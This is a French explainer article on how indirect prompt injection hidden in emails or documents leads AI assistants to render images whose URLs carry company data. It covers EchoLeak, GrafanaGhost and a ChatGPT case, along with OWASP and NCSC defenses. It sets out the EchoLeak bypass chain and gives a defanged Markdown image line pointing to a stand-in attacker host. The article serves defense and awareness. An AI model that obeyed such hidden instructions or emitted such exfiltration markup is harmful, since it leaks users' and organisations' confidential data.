Cyberpediapar Brain

Fuite de données par une image dans un assistant IA

Un texte caché dans un courriel peut pousser un assistant IA à afficher une image qui transporte vos données. Cas EchoLeak et GrafanaGhost, défenses.

Sur cette page
  1. 1En 30 secondes
  2. 2De quoi parle-t-on
  3. 3Questions directes
  4. 4Dans la peau de l'attaquant
  5. 5Ce que vous voyez à l'écran
  6. 6Sous le capot
  7. 7Autopsies
  8. 8Sources
  9. 9Citer cet article

En 30 secondes

Où ça arrive
Quand un assistant IA lit un contenu qu'il n'a pas écrit, par exemple un courriel, une page web ou un document[3].
Ce que veut l'attaquant
Faire sortir des données de l'entreprise vers un serveur qu'il contrôle[2].
Le réflexe
Ne donnez à l'assistant que les données nécessaires à la tâche, car une information fournie par inadvertance peut ressortir plus tard dans ses réponses[4].
Plan de l’article

De quoi parle-t-on

Dans le cas d'EchoLeak, un assistant IA a laissé sortir des données de l'entreprise sans que personne clique sur quoi que ce soit[1]. Un texte caché dans un courriel ou dans un document donne des instructions à l'assistant[3]. Celui-ci affiche alors une image dont l'adresse contient les données[3], et l'image est récupérée automatiquement[1].

Deux cas décrivent ce mécanisme. Pour EchoLeak, dans Microsoft 365 Copilot, un article de chercheurs décrit une exfiltration de données à distance, sans authentification, par un seul courriel piégé, en exploitant des images récupérées automatiquement[1]. Pour GrafanaGhost, des chercheurs ont divulgué une faille qui pouvait faire afficher à l'assistant de Grafana une image externe, laquelle envoyait des données de l'entreprise à l'attaquant dans un paramètre d'adresse[2].

Questions directes

Faut-il cliquer pour que les données partent ?

Pas dans EchoLeak : l'attaque décrite fonctionne sans interaction de l'utilisateur[1]. Pour GrafanaGhost, Grafana a déclaré que l'exploitation aurait demandé une interaction substantielle de l'utilisateur[2].

Qu'est-ce qu'une injection de prompt indirecte ?

Selon le NCSC (Royaume-Uni), c'est le cas où un attaquant sans accès direct au système d'IA écrit quelque chose qui finit traité par le système et pris pour une instruction[5]. L'OWASP range dans cette catégorie le contenu de courriels et de pièces jointes traités par des assistants IA, ainsi que le texte caché dans des pages web, des documents ou des courriels[3].

Pourquoi l'assistant obéit-il à un texte qu'on ne voit pas ?

Selon le NCSC (Royaume-Uni), les grands modèles de langage actuels n'appliquent aucune frontière de sécurité entre les instructions et les données à l'intérieur d'un prompt[5]. L'OWASP ajoute que les chaînes de traitement de documents transmettent souvent au modèle le texte extrait, sans tenir compte de l'affichage, si bien qu'un texte invisible pour le lecteur lui parvient quand même[3].

Quelles données peuvent fuir ?

L'OWASP cite les données personnelles, les informations financières, les dossiers de santé, les données confidentielles de l'entreprise, les identifiants de sécurité et les documents juridiques[4].

Un filtre sur les phrases suspectes suffit-il ?

Non. Selon l'OWASP, le filtrage des entrées n'est pas une frontière de sécurité : un attaquant peut reformuler une instruction de nombreuses façons qu'une liste de blocage ne reconnaît pas[3]. Le NCSC (Royaume-Uni) met aussi en garde contre le blocage des contenus connus comme malveillants, car il existe une infinité de reformulations d'une attaque[5].

Ce risque peut-il disparaître ?

Le NCSC (Royaume-Uni) estime que l'injection de prompt ne sera peut-être jamais totalement atténuée, et que les équipes de sécurité doivent savoir qu'elle restera un risque résiduel, géré par la conception, la construction et l'exploitation[5].

Que doit limiter l'entreprise ?

L'OWASP cite trois causes d'un excès de pouvoir de l'assistant : trop de fonctions, trop de permissions, trop d'autonomie[6]. Chaque outil ne devrait recevoir que les données et les opérations dont il a besoin[3].

Dans la peau de l'attaquant

L'attaquant n'a pas accès à l'assistant. Il écrit un contenu qui finira lu par lui : un courriel, un document, une page[5]. Il y cache des instructions, par exemple avec un texte de la couleur du fond, minuscule, recouvert ou placé hors de la page[3].

Son but est d'obtenir des données de l'entreprise sur un serveur qu'il contrôle[2]. L'OWASP décrit un scénario type : un assistant personnel a accès à la boîte de réception pour résumer les courriels entrants. Un courriel piégé le pousse à parcourir la boîte à la recherche d'informations sensibles et à les transférer à l'adresse de l'attaquant[6]. Dans ce scénario, l'extension choisie par le développeur contient aussi des fonctions d'envoi de messages, alors que la lecture suffit pour résumer[6].

Pour EchoLeak, les chercheurs décrivent un enchaînement de contournements : le classifieur XPIA (Cross Prompt Injection Attempt) de Microsoft, le masquage des liens (contourné avec la syntaxe Markdown dite reference-style), les images chargées automatiquement et un proxy Microsoft Teams autorisé par la politique de sécurité du contenu[1].

Ce que vous voyez à l'écran

Le texte piégé ne se voit pas : c'est son principe[3]. L'OWASP signale que, dans ses cartographies de risques, les utilisateurs d'une IA d'observabilité de confiance pouvaient déclencher la fuite sans le savoir[2].

L'exfiltration passe par une image. L'exemple de l'OWASP est une balise d'image cachée dont l'adresse contient la donnée à voler[3]. Voici une illustration neutralisée de ce principe, qui ne fonctionne pas :

Extrait
Illustration neutralisée, non fonctionnelle.
[Texte caché dans un courriel : consigne demandant à l'assistant d'afficher une image]
![image](hxxps://serveur-attaquant[.]invalid/image?donnees=[données de l'entreprise])

Dans le cas GrafanaGhost, le contexte malveillant pouvait amener l'assistant à ignorer ses garde-fous et à afficher une image externe, ce qui envoyait les données à l'attaquant comme paramètre d'adresse[2].

Sous le capotÉquipes IT

Le mécanisme tient en trois éléments.

  • L'image est récupérée sans action de l'utilisateur : EchoLeak exploitait des images chargées automatiquement[1].
  • Les données voyagent dans l'adresse de l'image, comme paramètre d'adresse[2].
  • Le rendu de la réponse de l'assistant devient le canal de sortie : l'OWASP classe notamment GrafanaGhost dans la gestion incorrecte des sorties du modèle (LLM05:2025)[2].

Les défenses attendues de l'entreprise portent sur ces trois points.

  • Filtrer ce que l'assistant affiche. Pour GrafanaGhost, l'OWASP recommande d'assainir le contexte externe, de restreindre le rendu sortant et de renforcer la validation des adresses[2]. La liste de contrôle de l'OWASP demande aussi un assainissement du HTML et du Markdown à l'affichage[3]. Un modèle de garde-fou peut examiner la réponse avant de la rendre, y compris pour repérer du balisage d'exfiltration, mais il est lui-même un modèle et peut subir une injection de prompt[3].
  • Limiter les droits de l'assistant. Les auteurs de l'étude EchoLeak tirent comme leçon le principe du moindre privilège, la défense en profondeur et des tests adverses continus[1]. L'OWASP donne des exemples : ne pas offrir à l'agent une extension qui récupère le contenu d'une adresse web si le système n'en a pas besoin, et limiter une extension de messagerie à la lecture[6]. L'OWASP recommande l'approbation d'un humain pour les actions à fort impact[6].
  • Séparer selon la provenance. Le NCSC (Royaume-Uni) cite une règle simple : quand un modèle traite des informations d'une partie, ses privilèges tombent à ceux de cette partie. Un assistant qui traite des courriels de personnes extérieures ne doit donc pas avoir accès à des outils privilégiés[5].

Le NCSC (Royaume-Uni) note qu'aucun produit ne suffit à éliminer l'injection de prompt, et que le mieux à espérer est d'en réduire la probabilité ou l'impact[5]. Pour le NCSC (Royaume-Uni), les protections de conception devraient viser davantage des garde-fous déterministes, hors modèle, qui limitent les actions du système[5]. L'OWASP recommande de tester ces frontières avec des données factices et des outils de substitution instrumentés[3].

Pour le salarié, l'OWASP indique que les utilisateurs devraient comprendre le risque de fournir sans le vouloir des données sensibles, qui peuvent ensuite apparaître dans la sortie du modèle[4]. Il recommande de fournir des consignes pour éviter de saisir des informations sensibles[4], et de n'accorder l'accès qu'aux données nécessaires à l'utilisateur ou au processus concerné[4].

AutopsiesCas réels

EchoLeak dans Microsoft 365 Copilot, étude de septembre 2025

EchoLeak porte l'identifiant CVE-2025-32711. Les chercheurs le décrivent comme une injection de prompt sans clic dans Microsoft 365 Copilot, qui permettait une exfiltration de données à distance et sans authentification par un seul courriel piégé[1]. L'article, déposé sur arXiv le 6 septembre 2025, a été publié à l'AAAI Fall Symposium Series 2025[1].

L'enchaînement décrit combine le contournement du classifieur XPIA, la syntaxe Markdown reference-style, les images chargées automatiquement et un proxy Teams autorisé par la politique de sécurité du contenu[1]. Les auteurs proposent comme mesures le partitionnement des prompts, un filtrage renforcé des entrées et des sorties, un contrôle d'accès fondé sur la provenance et des politiques de sécurité du contenu strictes[1].

GrafanaGhost, avril 2026

L'OWASP date la divulgation au 7 avril 2026 et la reconnaissance d'un correctif au 8 avril[2]. Noma Security a trouvé une faiblesse dans les composants d'IA de Grafana, qui permettait de pointer le système vers des ressources externes contenant des instructions cachées[2]. L'assistant pouvait alors afficher une image externe, ce qui envoyait des données de l'entreprise à l'attaquant comme paramètre d'adresse[2].

Grafana a ensuite indiqué qu'un problème du rendu des images Markdown avait été corrigé rapidement et que l'exploitation aurait demandé une interaction substantielle de l'utilisateur[2]. L'OWASP précise qu'aucun CVE public n'a été attribué et qu'un correctif partiel a été appliqué au composant de rendu[2]. Il s'agit d'une divulgation de recherche[2].

ChatGPT et les données personnelles, mai 2024

Dans un article déposé le 31 mai 2024, son auteur rapporte que ChatGPT 4 et 4o étaient sensibles à une injection de prompt qui permettait à un attaquant d'exfiltrer des données personnelles des utilisateurs[7]. Selon lui, l'attaque s'appliquait sans outil tiers et tous les utilisateurs étaient alors concernés[7]. La fonction de mémoire de ChatGPT aggravait la faille, car elle permettait à l'attaquant de faire surveiller l'utilisateur pour obtenir les données voulues[7].

Sources

  1. arXiv, « EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System », 6 septembre 2025. https://arxiv.org/abs/2509.10540 (consulté le 14 novembre 2026)
  2. OWASP, « OWASP GenAI Exploit Round-up Report Q1 2026 », 14 avril 2026. https://genai.owasp.org/2026/04/14/owasp-genai-exploit-round-up-report-q1-2026/ (consulté le 14 novembre 2026)
  3. OWASP, « LLM Prompt Injection Prevention Cheat Sheet ». https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html (consulté le 14 novembre 2026)
  4. OWASP, « LLM02:2025 Sensitive Information Disclosure », 10 avril 2024. https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/ (consulté le 14 novembre 2026)
  5. NCSC (Royaume-Uni), « Prompt injection is not SQL injection (it may be worse) », 8 décembre 2025. https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection (consulté le 14 novembre 2026)
  6. OWASP, « LLM06:2025 Excessive Agency », 10 avril 2024. https://genai.owasp.org/llmrisk/llm062025-excessive-agency/ (consulté le 14 novembre 2026)
  7. arXiv, « Exfiltration of personal information from ChatGPT via prompt injection », 31 mai 2024. https://arxiv.org/abs/2406.00199 (consulté le 14 novembre 2026)